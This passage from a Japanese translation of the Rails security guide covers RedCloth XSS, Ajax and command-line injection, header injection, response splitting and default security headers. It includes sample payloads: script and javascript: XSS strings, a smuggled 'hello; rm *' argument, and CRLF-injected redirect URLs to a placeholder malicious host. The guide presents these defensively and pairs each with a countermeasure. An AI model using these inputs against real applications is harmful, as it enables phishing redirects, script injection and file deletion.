この例でも再び、ブラックリストによるフィルターは不完全であるということが示されました。 ただし、Webアプリケーション上でCSSを編集するという機能は非常に稀なので、 私(原文の著者)は、CSSのホワイトフィルターについては詳しくありません。 もし、あなたが色、または画像の編集を許可したいのであれば、 Webアプリケーションに組み込みのCSSを用意して、ユーザーにそれを選択してもらうようにするのが良いかもしれません。 もし本当に必要であれば、CSSのホワイトリストフィルターのモデルとして、 Railsのsanitize()メソッドを使用してください。

7.5 Textileインジェクション

もし、HTML以外(セキュリティのため)のテキスト書式を提供したい場合は、 サーバー側でHTMLに変換されるマークアップ言語を使用します。 RedClothは、 Ruby用のそのための言語ですが、予防措置がないためXSS脆弱性が存在します。

現在の最新バージョンにも、RedClothにこの脆弱性が存在するのかは未確認です。

例えば、RedClothは_test_<em>test<em>と解釈し、斜体にします。 ただし、最新のバージョン3.0.4に更新しても、XSS脆弱性は依然として存在します。 全て一新されたバージョン4を取得すれば、これらの深刻なバグは取り除かれています。 しかし、このバージョンにも、いくつかセキュリティバグがあるので対策が適用されています。 ここで、バージョン3.0.4の例を確認してみましょう。

RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"

:filter_htmlオプションを使用して、Textile処理で作成しないと定められているHTMLを削除します。

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"

ただし、全てのHTMLをフィルターするわけではないので、例えば<a>のような特定のタグは(そのような設計になっているため)、 そのまま残り続けます。

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
7.5.1 対策

RedClothを、XSS文に対しての対策を反映したホワイトリスト入力フィルターと組み合わせて使用することをお勧めします。

7.6 Ajaxインジェクション

同様のセキュリティ予防措置を、Ajaxアクションに対しても、"普通"のものとして行わなければいけません。 これには少なくとも1つの例外があり、もし、アクションでビューを描画しないのであれば、 出力は常にコントローラー内でエスケープされていなければなりません。

もし、in_place_editorプラグインを使用しているか、アクションがビューの描画では無く文字列を返しているのであれば、 アクション内で返り値をエスケープしなければいけません。 そうしなければ、もし返り値にXSS文字列が含まれていると、悪意のあるコードがブラウザに返されて実行されてしまいます。 h()メソッドを使用して、入力値のエスケープを行ってください。

7.7 コマンドライン・インジェクション

ユーザー指定のコマンドラインを使用する際は、十分に注意してください。

もし、アプリケーションがOSに基づいたコマンドを実行する必要がある場合、 Rubyには、exec(command)syscall(command)system(command)のメソッドとコマンドが存在します。 もし、ユーザーが入力したものかもしれないコマンド、またはコマンドの一部を、これらの関数で使用する場合は、 特に注意しなければいけません。 その理由は、ほとんどのシェルでセミコロン(;)、またはバー(|)を使用して、最初の実行を終えた後に別のコマンドを実行する事が可能だからです。

対策は、安全なパラメータのコマンドラインを渡すsystem(command, parameters)メソッドを使用することです。

system("/bin/echo","hello; rm *")
# "hello; rm *"と出力され、ファイルが削除されることはありません。

7.8 ヘッダー・インジェクション

動的に作成されるHTTPヘッダーは、特定の状況下では、ユーザー入力によってインジェクションされているかもしれません。 これは、偽のリダイレクト、XSS、またはHTTPレスポンススプリッティングへ誘導される恐れがあります。

HTTPリクエストヘッダーには、リファラー、User-Agent(クライアントソフト)、Cookieフィールド、その他多くの情報が含まれています。 HTTPレスポンスヘッダーは例えば、ステータスコード、Cookie、ロケーション(リダイレクト先のURL)フィールドを持ちます。 これら全ては、ユーザー提供のもので、それほど苦労すること無く操作することが出来てしまいます。 これらのヘッダーフィールドにも、エスケープを行うことを忘れないでください。 例えば、管理者エリア内でUser-Agentを表示するようなケースです。

更に、レスポンスヘッダーの一部をユーザー入力を元に構築しているような場合、何をすべきかを知っておく事のは非常に重要です。 例えば、ユーザーを特定のページにリダイレクトさせたいような場合です。 下記のように、フォームの"referer"フィールドを使用して、指定されたアドレスにリダイレクトするものとします。

redirect_to params[:referer]

RailsがLocationヘッダーフィールドにその文字列を入れて、 302(リダイレクト)ステータスをブラウザに対し送信するようにすると、何が起こるでしょう? まず考えられることは、悪意のあるユーザーは下記のようなURLを作成して、拡散する事を試みるであろうということです。

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

(Rubyと)Rails2.1.2(これを除く)までのバグにより、 ハッカーは任意のヘッダーフィールドを、下記のように注入することが可能かもしれない状態でした。

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

"%0d%0a"は、Ruby内で改行(CSRL)とされる"\r\n"をURLエンコードしたものです。 そのため、上記の例の2つ目のヘッダーは、最初のヘッダーフィールドを上書きするため、下記のように次のLocationヘッダーが適用されます。

HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld

このため攻撃者は、ヘッダーへのインジェクションはCRFL文字を基点にして行います。 次に、攻撃者はどのようにして偽のリダイレクトを発生させているのでしょうか。 攻撃者は、あなたが閲覧しようとしたページとそっくりなフィッシングサイトにリダイレクトさせ、 そのサイトで再ログインを促します。(そこで、ログイン情報を攻撃者に送信させます) また、偽のサイトでブラウザのセキュリティ・ホールを通してマルウェアをインストールすることも出来ます。 Rails2.1.2は、redirect_toメソッドは、Locationフィールドのこれらの文字列をエスケープします。 ユーザーの入力によって、ヘッダーフィールドを構築する際には、これらの事をよく確認するようにして下さい。

7.8.1 レスポンス・スプリッティング

もし、ヘッダー・インジェクションが可能であれば、レスポンススプリッティングも、おそらく可能になります。 HTTPでは、ヘッダーブロックの後には、2つのCRFLと実際のデータ(通常はHTML)が続きます。 レスポンス・スプリッティングのは、2つのCRFLをヘッダーフィールドに注入し、 別のレスポンスとして悪意のあるHTMLを続けさせるものです。 レスポンスは次のようになります。

HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html


HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
Keep-Alive: timeout=15, max=100         shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

レスポンス・スプリッティングでは、ほぼ間違いなく悪意のあるHTMLが閲覧者のブラウザに返されるでしょう。 ただし、これはKeep-Alive接続でのみ、動作するものかもしれません。(多くのブラウザはワンタイム接続を使用します) それでも、これを当てにしてはいけません。 あるケースで、深刻な不具合になりかねないので、ヘッダー・インジェクション(または、レスポンス・スプリッティング)の脆弱性を排除した、 Railsバージョンを2.0.5または、2.1.2に更新すべきです。

8. デフォルトヘッダー

Railsアプリケーションの各HTTPレスポンスは、下記のデフォルトのセキュリティヘッダーを受け取ります。

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '1; mode=block',
  'X-Content-Type-Options' => 'nosniff'
}

デフォルトのヘッダーの設定は、config/application.rbで行うことが出来ます。

config.action_dispatch.default_headers = {
  'Header-Name' => 'Header-Value',
  'X-Frame-Options' => 'DENY'
}

または、これを削除することも出来ます。

config.action_dispatch.default_headers.clear

下記は、一般的なヘッダーのリストになります。

X-Frame-Options
Railsでのデフォルトは'SAMEORIGIN'であり、同じドメイン内のみフレームを許可します。 これを'DENY'とすると全てを拒否、'ALLOWALL'とすると全Webサイトを許可します。
X-XSS-Protection
Railsでのデフォルトは'1; mode=block'であり、XSS Auditorを使用して、もしXSS攻撃が判明するとページをブロックします。 XSS Auditorを機能を無効にしたければ、'0;'とセットします。 (リクエストパラメータから、コンテンツのスクリプトを受け取りたい場合)
X-Content-Type-Options
Railsでのデフォルトは'nosniff'であり、ファイルのMIMEタイプを推測してからブラウザーを停止します。
X-Content-Security-Policy
読み込まれたサイトの一定のコンテンツタイプに対し、強力な制約を設けます。
Access-Control-Allow-Origin
サイトが同一生成元ポリシーをバイパスして、クロスオリジン·リクエストの送信を許可するか否かを制御するのに使用されます。
Strict-Transport-Security
ブラウザからのセキュアな接続でのみ、アクセスを許可をするか否かを制御するのに使用されます。

9. セキュアな環境

アプリケーションコードの保管とその環境をいかにセキュアにするのかは、このガイドの範疇を超えていますが、 DB設定(例:config/database.yml)と、サーバサイドの機密情報(例:config/initializers/secret_token.rb)は、 外部に漏れてはいけない情報なので、セキュアな状態にしておいて下さい。 これらのファイルや、その他の機密情報が含まれるかもしれないファイルを環境依存版のファイルとすることで、 よりアクセス制限を強固にすることが出来るかもしれません。

10. 更なるセキュリティに関する情報源

Webアプリケーションを破壊する新しい脆弱性から守るためにも、常に最新版に保つことが重要になります。 Railsのセキュリティについて更に詳細を知りたければ、下記の情報源を参照してください。

 Back to top

© 2010 - 2017 STUDIO KINGDOM